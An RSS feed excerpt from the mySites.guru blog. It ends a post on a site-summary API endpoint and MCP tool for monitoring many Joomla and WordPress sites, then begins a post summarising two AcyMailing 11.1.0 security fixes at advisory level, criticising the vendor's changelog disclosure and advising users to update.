&lt;span&gt;&lt;span&gt;    &quot;&lt;/span&gt;&lt;span&gt;total&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &quot;&lt;/span&gt;&lt;span&gt;scope_total&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 87&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &quot;&lt;/span&gt;&lt;span&gt;generated_at&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;2026-09-24T09:30:00+00:00&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &quot;&lt;/span&gt;&lt;span&gt;stale_snapshot_days&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 2&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &quot;&lt;/span&gt;&lt;span&gt;counts&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;hacked&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 0&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;updates_available&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;core_update_available&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 0&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;vulnerable_extensions&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;core_vulnerabilities&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 0&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;disconnected&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 0&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;stale_snapshot&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 0&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;paused&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 3&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;      &quot;&lt;/span&gt;&lt;span&gt;needs_attention&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    &quot;&lt;/span&gt;&lt;span&gt;summary&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;1 of 87 sites need attention: 1 with updates, 1 with vulnerable extensions.&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Look at the &lt;code&gt;meta&lt;/code&gt; block before the rows. &lt;code&gt;counts&lt;/code&gt; totals every reason across the whole account, and &lt;code&gt;summary&lt;/code&gt; puts it in a sentence you can post straight into a Slack channel or a morning email. The acme row also shows why the two backup times are separate: last night’s backup started but has not finished, so the last completed one is from the night before.&lt;/p&gt;
&lt;h2&gt;How do I narrow the summary down?&lt;/h2&gt;
&lt;p&gt;Every parameter is optional, and with none of them the summary returns every site in your account, paused ones included. They work the same way on the REST endpoint and on the MCP tool.&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;needs_attention&lt;/dt&gt;&lt;dd&gt;Set to true to return only the sites that need attention. The meta counts still cover the whole account, so you still get &quot;4 of 120 sites need attention&quot;.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;platform&lt;/dt&gt;&lt;dd&gt;Joomla, Wordpress or Generic.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://mysites.guru/blog/organise-client-sites-with-tags/&quot;&gt;tag&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;One of your tag slugs, for example a client or a retainer tier.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;hash_ids&lt;/dt&gt;&lt;dd&gt;A comma-separated list of up to 100 site hash_ids, for when you only care about a handful of sites.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;include_paused&lt;/dt&gt;&lt;dd&gt;Defaults to true. Set it to false to leave paused sites out altogether.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;sort&lt;/dt&gt;&lt;dd&gt;name (the default), last_snapshot or last_backup_completed (oldest first, with never-run sites at the top), or updates (most first).&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;&lt;code&gt;sort=last_backup_completed&lt;/code&gt; puts the sites with the oldest completed backup, and any that have never completed one, at the top. That is the list to read before a client asks about their backups.&lt;/p&gt;
&lt;h2&gt;What counts as needing attention?&lt;/h2&gt;
&lt;p&gt;A site needs attention when it is not paused and at least one of seven things is true. Each row lists the reasons that applied in &lt;code&gt;attention_reasons&lt;/code&gt;, so you can route them differently: a hacked site pages someone, four pending updates can wait for the Tuesday maintenance window.&lt;/p&gt;
&lt;dl&gt;&lt;div&gt;&lt;dt&gt;&lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hacked&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;mySites.guru has flagged the site as hacked.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;updates_available&lt;/dt&gt;&lt;dd&gt;At least one extension, plugin or theme update is waiting.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;core_update_available&lt;/dt&gt;&lt;dd&gt;A newer WordPress or Joomla release is available.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;vulnerable_extensions&lt;/dt&gt;&lt;dd&gt;An installed extension or plugin has a known vulnerability.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;core_vulnerabilities&lt;/dt&gt;&lt;dd&gt;The installed WordPress or Joomla version has known vulnerabilities.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;disconnected&lt;/dt&gt;&lt;dd&gt;mySites.guru cannot currently reach the site through its connector.&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;stale_snapshot&lt;/dt&gt;&lt;dd&gt;The site has never been snapshotted, or its last snapshot is more than two days old.&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;
&lt;p&gt;Paused sites never count as needing attention. You paused them on purpose, usually because the client has left or the site is mid-rebuild, and a report that shouts about them every morning trains everyone to ignore the report. They still appear in the list unless you pass &lt;code&gt;include_paused=false&lt;/code&gt;, and &lt;code&gt;meta.counts.paused&lt;/code&gt; tells you how many there are.&lt;/p&gt;
&lt;h2&gt;Using the summary from Claude and other MCP clients&lt;/h2&gt;
&lt;p&gt;The MCP server exposes the same thing as the &lt;code&gt;list_site_summaries&lt;/code&gt; tool, so any AI client connected to your mySites.guru account can call it. Nothing needs setting up: the next time your client lists the server’s tools, it is there.&lt;/p&gt;
&lt;p&gt;AI clients gain the most from it. Ask Claude “which of my sites need attention?” with only &lt;code&gt;list_sites&lt;/code&gt; and &lt;code&gt;get_site&lt;/code&gt; available, and it does what the looping scripts do: fetch the list, then open each site in turn. On a large account that is hundreds of tool calls, a long wait, a rate limit that runs out halfway through, and a conversation stuffed with detail it did not need. With &lt;code&gt;list_site_summaries&lt;/code&gt; it is one call.&lt;/p&gt;
&lt;p&gt;The tool’s own description tells the client to start with &lt;code&gt;needs_attention=true&lt;/code&gt; on accounts with a lot of sites and then narrow down by platform, tag or specific sites. Questions like these now take a single call:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;“Which of my sites need attention, and why?”&lt;/li&gt;
&lt;li&gt;“Which client sites tagged retainer have not completed a backup this week?”&lt;/li&gt;
&lt;li&gt;“List every Joomla site with a vulnerable extension.”&lt;/li&gt;
&lt;li&gt;“Which sites have an SSL certificate expiring in the next 30 days?”&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;From there the client can open the full audit for any site that looks wrong, or &lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;trigger the backups and updates&lt;/a&gt; it finds are missing, and it still has almost all of its hourly allowance left to do it.&lt;/p&gt;
&lt;h2&gt;A polling pattern that fits inside the rate limit&lt;/h2&gt;
&lt;p&gt;If you are running one of the loops described above, here is the replacement. It uses a fraction of the allowance and tells you more.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Call &lt;code&gt;GET /api/v1/sites/summary?needs_attention=true&lt;/code&gt; on a schedule. Every two to four hours is plenty, given snapshots run twice a day.&lt;/li&gt;
&lt;li&gt;Read &lt;code&gt;meta.summary&lt;/code&gt; and &lt;code&gt;meta.counts&lt;/code&gt; for the headline, and post it wherever your team looks. It is the API version of the &lt;a href=&quot;https://mysites.guru/blog/how-to-build-morning-routine-checking-joomla-sites/&quot;&gt;morning routine we recommend for checking sites&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;For each row that needs attention, act on the reason: open the audit with &lt;code&gt;last_audit_id&lt;/code&gt;, send a person to &lt;code&gt;manage_url&lt;/code&gt;, or trigger the update or backup through the API.&lt;/li&gt;
&lt;li&gt;Only fetch full site detail for the handful of sites you are acting on.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;In a shell, the whole morning report is two commands:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; -s&lt;/span&gt;&lt;span&gt; -H&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;Authorization: Bearer &lt;/span&gt;&lt;span&gt;$TOKEN&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  &quot;&lt;/span&gt;&lt;span&gt;https://manage.mysites.guru/api/v1/sites/summary?needs_attention=true&amp;amp;sort=updates&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  |&lt;/span&gt;&lt;span&gt; jq&lt;/span&gt;&lt;span&gt; -r&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;.meta.summary, (.data[] | &quot;\(.friendly_name): \(.attention_reasons | join(&quot;, &quot;))&quot;)&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is one request, where the same report built from per-site calls would cost one request per site. Each response also has &lt;code&gt;generated_at&lt;/code&gt;, so if you cache the result in your own dashboard you can show your team how old the numbers are.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;The rate limit has not changed&lt;/p&gt;&lt;div&gt;&lt;p&gt;Each access token still gets 1,000 requests an hour, and a summary call costs one of them. Go over and the API returns &lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc6585#section-4&quot;&gt;&lt;code&gt;429 Too Many Requests&lt;/code&gt;&lt;/a&gt; with a &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Retry-After&quot;&gt;&lt;code&gt;Retry-After&lt;/code&gt;&lt;/a&gt; header telling you how many seconds to wait. Well-behaved clients read that header and back off rather than retrying straight away.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;What the site summary leaves out&lt;/h2&gt;
&lt;p&gt;The summary only returns what mySites.guru already has on file, and that shapes what is not in it.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Live data. Every value is as fresh as the last snapshot, audit or backup, and no less. If you need to know what a site looks like this second, &lt;a href=&quot;https://mysites.guru/blog/snapshot-all-your-sites-with-one-click-at-mysites-guru-the-joomla-and-wordpress-control-panel/&quot;&gt;trigger a snapshot&lt;/a&gt; and read the result when it finishes.&lt;/li&gt;
&lt;li&gt;Uptime status. Whether a site is up right now comes from &lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;uptime monitoring&lt;/a&gt;, which lives outside the data the summary reads, so it would need a live lookup per site, the cost this endpoint exists to avoid.&lt;/li&gt;
&lt;li&gt;Paging. You always get the full filtered set, with &lt;code&gt;meta.total&lt;/code&gt; telling you how many rows came back. The filters are how you keep a response small.&lt;/li&gt;
&lt;li&gt;Any change to &lt;code&gt;list_sites&lt;/code&gt;. &lt;code&gt;GET /api/v1/sites&lt;/code&gt; and the &lt;code&gt;list_sites&lt;/code&gt; tool behave as they did yesterday, so integrations you have already built keep working.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The summary follows the same permissions as everything else in the API. A token only sees the sites its user can see in the dashboard, and a team member restricted to certain sites gets a summary of those sites and nothing else, as described in our post on &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;managing sites with your whole team&lt;/a&gt;.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;The API is still in beta&lt;/p&gt;&lt;div&gt;&lt;p&gt;We reserve the right to make changes to the API while it is still in beta, and we may increase or decrease API rate limits as we see different traffic patterns. Any client that is constantly maxed out or abusing its permissions will be terminated instantly.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;The dashboard already knows all of this&lt;/h2&gt;
&lt;p&gt;Every field in the summary is something mySites.guru collects for you anyway, unattended, on each connected site, and the API returns it in one piece. If you are weighing up building your own monitoring, the loop that asks for the data is the easy part. Collecting it in the first place is where the work is.&lt;/p&gt;
&lt;p&gt;That work is all part of the subscription. The twice-daily snapshots record every version, setting and extension. The &lt;a href=&quot;https://mysites.guru/blog/vulnerable-extension-list-joomla-wordpress/&quot;&gt;vulnerable extension list&lt;/a&gt; turns those versions into a warning the morning a flaw is published. Scheduled audits scan for &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;hacked files and backdoors&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;real-time alerting&lt;/a&gt; tells you when a file changes or an unfamiliar admin logs in, and &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;scheduled backups&lt;/a&gt; run whether anyone remembers them or not. The site summary is the one call that reads all of it back.&lt;/p&gt;
&lt;p&gt;If you already have an API client, the endpoint is live on your account today. If you do not have an account yet, &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;run a free audit&lt;/a&gt; on one of your sites, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;see the plans&lt;/a&gt; and connect all of them.&lt;/p&gt;
&lt;h2&gt;Further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/mysites-guru-api/&quot;&gt;How to access your mySites.guru account using our secure API&lt;/a&gt; - OAuth2 with PKCE, scopes and the rest of the endpoints&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/manage-every-site-from-claude-desktop/&quot;&gt;Manage every site from Claude Desktop or other AI tools&lt;/a&gt; - connecting the MCP server that exposes &lt;code&gt;list_site_summaries&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/snapshot-vs-audit-whats-the-difference/&quot;&gt;Snapshot vs audit: what’s the difference?&lt;/a&gt; - why the data behind the summary refreshes when it does&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rfc-editor.org/rfc/rfc6585#section-4&quot;&gt;RFC 6585, section 4&lt;/a&gt; - the standard that defines HTTP 429 Too Many Requests&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Retry-After&quot;&gt;Retry-After on MDN&lt;/a&gt; - how a client should read the wait time after a 429&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://modelcontextprotocol.io/specification/latest/server/tools&quot;&gt;MCP specification: tools&lt;/a&gt; - how MCP servers publish tools such as &lt;code&gt;list_site_summaries&lt;/code&gt; to AI clients&lt;/li&gt;
&lt;/ul&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>api</category><category>mcp</category><category>automation</category><category>agency</category><category>manage multiple sites</category><enclosure url="https://mysites.guru/img/og/blog/mysites-guru-api-site-summary.png" length="0" type="image/png"/></item><item><title>AcyMailing 11.1.0 Fixes Two Security Flaws</title><link>https://mysites.guru/blog/acymailing-11-1-0-security-release/</link><guid isPermaLink="true">https://mysites.guru/blog/acymailing-11-1-0-security-release/</guid><description>AcyMailing 11.1.0 fixes a mailbox file write and a file deletion flaw, now CVE-2026-94132 (9.5 Critical) and CVE-2026-94131, both filed under Bug fixes.</description><pubDate>Thu, 24 Sep 2026 19:31:43 GMT</pubDate><content:encoded>&lt;p&gt;Acyba released AcyMailing 11.1.0 for Joomla and WordPress on 24 September 2026, and it is a security release. Two lines in the &lt;a href=&quot;https://www.acymailing.com/changelog/&quot;&gt;AcyMailing changelog&lt;/a&gt; say so, if you know where to look. Our reading of the code diff between 11.0.5 and 11.1.0 puts both fixes at the serious end: one let anyone able to email a monitored mailbox write a file of any type, PHP included, into the web root, and the other let a subscriber delete files outside the upload folder, &lt;code&gt;configuration.php&lt;/code&gt; included.&lt;/p&gt;
&lt;p&gt;The release came with no CVE, no blog post, no advisory and no announcement. The two fixes are one-line entries filed under Bug fixes, between a List-Unsubscribe header fix and a translation fix, and the only sign that they concern the Enterprise edition is a small coloured dot at the end of each line whose meaning appears only when you hover over it.&lt;/p&gt;
&lt;h2&gt;Update, 26 September 2026: both flaws now have CVEs&lt;/h2&gt;
&lt;p&gt;The Joomla CNA published a CVE for each fix two days after the release. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-94132/&quot;&gt;CVE-2026-94132&lt;/a&gt; covers the mailbox actions file write and is scored CVSS 4.0 9.5 Critical, a little above our provisional 9.2 because the CNA also rates the impact on systems beyond the vulnerable one as high. &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-94131/&quot;&gt;CVE-2026-94131&lt;/a&gt; covers the custom field file deletion at 8.3 High, the score we gave it. Both records list every AcyMailing version up to 11.0.5 as affected and 11.1.0 as the fix, which matches our reading of the diff. The records name the Enterprise edition, and our advice for Starter installs does not change: update them too. mySites.guru’s AcyMailing rule now lists both CVE ids.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;What to do now&lt;/p&gt;&lt;div&gt;&lt;p&gt;Update AcyMailing to 11.1.0 on every Joomla and WordPress site that runs it, Starter installs included. If you cannot update today, remove file-type custom fields from public forms, switch mailbox actions and bounce handling to IMAP, and stop PHP executing in &lt;code&gt;media/com_acym/upload/&lt;/code&gt;. Then update. If the site uses AcyMailing add-ons, &lt;a href=&quot;#acymailing-1110-can-crash-sites-with-older-add-ons&quot;&gt;check them after updating&lt;/a&gt;: one is already known to cause a fatal error.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AcyMailing 11.1.0&lt;/strong&gt; fixes two security flaws that affect every earlier version with the features enabled&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mailbox actions in POP3 mode (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-94132/&quot;&gt;CVE-2026-94132&lt;/a&gt;):&lt;/strong&gt; MIME parts of incoming emails were saved to &lt;code&gt;media/com_acym/upload/&lt;/code&gt; with no extension check, so anyone who could email the monitored mailbox could write a PHP file into the web root. CVSS 4.0 9.5 Critical&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;File-type custom fields (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-94131/&quot;&gt;CVE-2026-94131&lt;/a&gt;):&lt;/strong&gt; the stored value went unchecked, and clearing the field later deleted whatever path it named, so a subscriber could delete &lt;code&gt;configuration.php&lt;/code&gt;. CVSS 4.0 8.3 High&lt;/li&gt;
&lt;li&gt;The technical detail below is &lt;strong&gt;our reading of the code diff&lt;/strong&gt;, not reproduced on a test site, and neither flaw is our discovery&lt;/li&gt;
&lt;li&gt;The CVEs arrived two days after the release. Before that there was no advisory and no vendor post, just two lines under &lt;strong&gt;Bug fixes&lt;/strong&gt;, marked Enterprise-only by a dot you have to hover over&lt;/li&gt;
&lt;li&gt;mySites.guru flags every connected Joomla site running AcyMailing below 11.1.0&lt;/li&gt;
&lt;li&gt;11.1.0 changed method signatures in its add-on base class, and an older &lt;strong&gt;Easy Profile add-on&lt;/strong&gt; stops the site with a fatal error. Check add-ons after updating&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What the AcyMailing 11.1.0 changelog says&lt;/h2&gt;
&lt;p&gt;Here is the whole of the 11.1.0 Bug fixes list as it appears on the vendor’s site. The two security fixes are the fourth and fifth lines.&lt;/p&gt;
&lt;figure&gt;&lt;div&gt;&lt;img src=&quot;https://mysites.guru/_astro/acymailing-11-1-0-changelog-bug-fixes.CdgnYAeW_1uyoQM.webp&quot; alt=&quot;The Bug fixes list for AcyMailing 11.1.0 on the vendor changelog: twelve one-line entries with Joomla and WordPress icons. The fourth reads &apos;Security for some custom fields has been enhanced.&apos; and the fifth reads &apos;A security issue related to a very specific scenario has been fixed in the mailbox actions.&apos;, each followed by a small dark pink dot with no visible label&quot; loading=&quot;lazy&quot; width=&quot;1536&quot; height=&quot;913&quot; /&gt;&lt;/div&gt;&lt;figcaption&gt;The AcyMailing 11.1.0 Bug fixes list, captured on 24 September 2026. The dots after the fourth, fifth and tenth lines are the only Enterprise marker.&lt;/figcaption&gt;&lt;/figure&gt;
&lt;p&gt;Read as a site owner would, both lines sound optional. “Security for some custom fields has been enhanced” sounds like hardening. “A very specific scenario” leaves you to guess which scenario, whether it applies to you, and what happens if it does. The page does not say which versions are affected, whether a login is needed, or that one of the fixes closes a route to running code on the server.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;p&gt;“A security issue related to a very specific scenario has been fixed in the mailbox actions.”&lt;/p&gt;&lt;p&gt;Updated when someone gets round to it.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;“If your mailbox actions use POP3, anyone who can email that mailbox could write a PHP file into your web root. Update now.”&lt;/p&gt;&lt;p&gt;Updated today.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The line on the left is Acyba&apos;s, verbatim from the AcyMailing 11.1.0 changelog. The line on the right is ours, from our reading of the code diff. They describe the same fix.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;The Enterprise dot is a hover tooltip&lt;/h2&gt;
&lt;p&gt;The dot at the end of each security line is an 8-pixel circle in dark pink. It has no text next to it and there is no legend anywhere on the changelog page. Its meaning sits in an HTML &lt;code&gt;title&lt;/code&gt; attribute, “Only in the Enterprise version”, which a desktop browser shows after you rest the mouse on it for a second or so. On a phone or tablet there is no hover, so there is no tooltip. A screen reader will not reliably announce it either.&lt;/p&gt;
&lt;p&gt;So to learn from the changelog that 11.1.0 fixes two Enterprise security flaws, you have to notice two security lines hidden under Bug fixes, spot a dot the size of a full stop, guess it means something, and hover over it. The same changelog text is copied into the free plugin’s &lt;a href=&quot;https://wordpress.org/plugins/acymailing/&quot;&gt;wordpress.org listing&lt;/a&gt;, where there is no dot at all.&lt;/p&gt;
&lt;p&gt;The dot also tells you less than it seems to. It describes which features are licensed, not where the vulnerable code lives. The public &lt;a href=&quot;https://github.com/acyba/acymailing&quot;&gt;AcyMailing Starter source on GitHub&lt;/a&gt;, which is what the free wordpress.org plugin ships, contains the mailbox helper, the POP3 library and the file-field handling at the v11.1.0 tag. The previous release makes the point better than we can. AcyMailing 11.0.5 listed “Security has been improved on image embedding in sent emails” with the same Enterprise dot, and a week later Wordfence published &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77807&quot;&gt;CVE-2026-77807&lt;/a&gt;, an unauthenticated arbitrary file read rated 7.5 High, against the free WordPress plugin. The dot said Enterprise, and the CVE was filed against Starter.&lt;/p&gt;
&lt;p&gt;Our reading is that a Starter install cannot switch either feature on, but we have not tested that, and the code is there. Update Starter anyway. It is free, and the dot was wrong about 11.0.5.&lt;/p&gt;
&lt;h2&gt;How AcyMailing’s security notes changed this year&lt;/h2&gt;
&lt;p&gt;This vendor has written better security notes, and recently. In 2023 Acyba published standalone posts for its security releases, one titled &lt;a href=&quot;https://www.acymailing.com/acymailing-security-update-%F0%9F%94%90-v8-5-0/&quot;&gt;Critical security patch v8.5.0: check your websites now&lt;/a&gt;. In March 2026, AcyMailing 10.8.2 went out with a heading of its own, Vulnerability, naming the affected range, 9.11.0 to 10.8.1, and promising details once users had time to patch. That flaw became &lt;a href=&quot;https://mysites.guru/blog/acymailing-cve-2026-3614-joomla/&quot;&gt;CVE-2026-3614&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In July we reported an &lt;a href=&quot;https://mysites.guru/blog/acymailing-sql-injection-disclosure/&quot;&gt;unauthenticated SQL injection in AcyMailing&lt;/a&gt;, which became &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56292/&quot;&gt;CVE-2026-56292&lt;/a&gt;, rated 9.2 Critical by the Joomla CNA. AcyMailing 10.11.1 fixed it with one line, “A vulnerability allowing SQL injection has been patched. Updating is strongly recommended.” We screenshotted that entry on 9 July, and it sat under a Vulnerability heading. On 24 September the same line sits under Bug fixes. The only Vulnerability heading left on the whole changelog is the one for 10.8.2.&lt;/p&gt;
&lt;p&gt;Then came 11.0.5, with an image-embedding line that became a CVE, and now 11.1.0, with two security fixes under Bug fixes and a dot. Each release has said less than the one before. Most people with more than a few sites triage updates by reading changelogs, and for them the trend is worse than any one entry, because the heading was what got a release read at all.&lt;/p&gt;
&lt;p&gt;We made the same complaint when &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;Helix3 shipped a critical fix as “Security Update”&lt;/a&gt; and when &lt;a href=&quot;https://mysites.guru/blog/t4-page-builder-2-3-0-mail-relay-fix/&quot;&gt;T4 Page Builder called an open mail relay “Safer recipients”&lt;/a&gt;. The Joomla project’s own &lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;guidance for extension developers handling a security report&lt;/a&gt; asks for a dedicated advisory separate from the changelog, the affected and fixed versions, and the class of flaw named in plain words. AcyMailing 11.1.0 gives the fixed version and stops there.&lt;/p&gt;
&lt;h2&gt;What the two AcyMailing 11.1.0 fixes close&lt;/h2&gt;
&lt;div&gt;&lt;p&gt;Read from the code, not reproduced&lt;/p&gt;&lt;div&gt;&lt;p&gt;Everything in this section comes from reading the differences between the AcyMailing 11.0.5 and 11.1.0 packages. We have not reproduced either flaw on a test site, and we did not find or report them: Acyba fixed them itself. The scores below are the Joomla CNA’s, from the CVE records published on 26 September. We are not publishing request shapes, because most installs have not updated.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3&gt;Mailbox actions saved email attachments of any type to the web root&lt;/h3&gt;
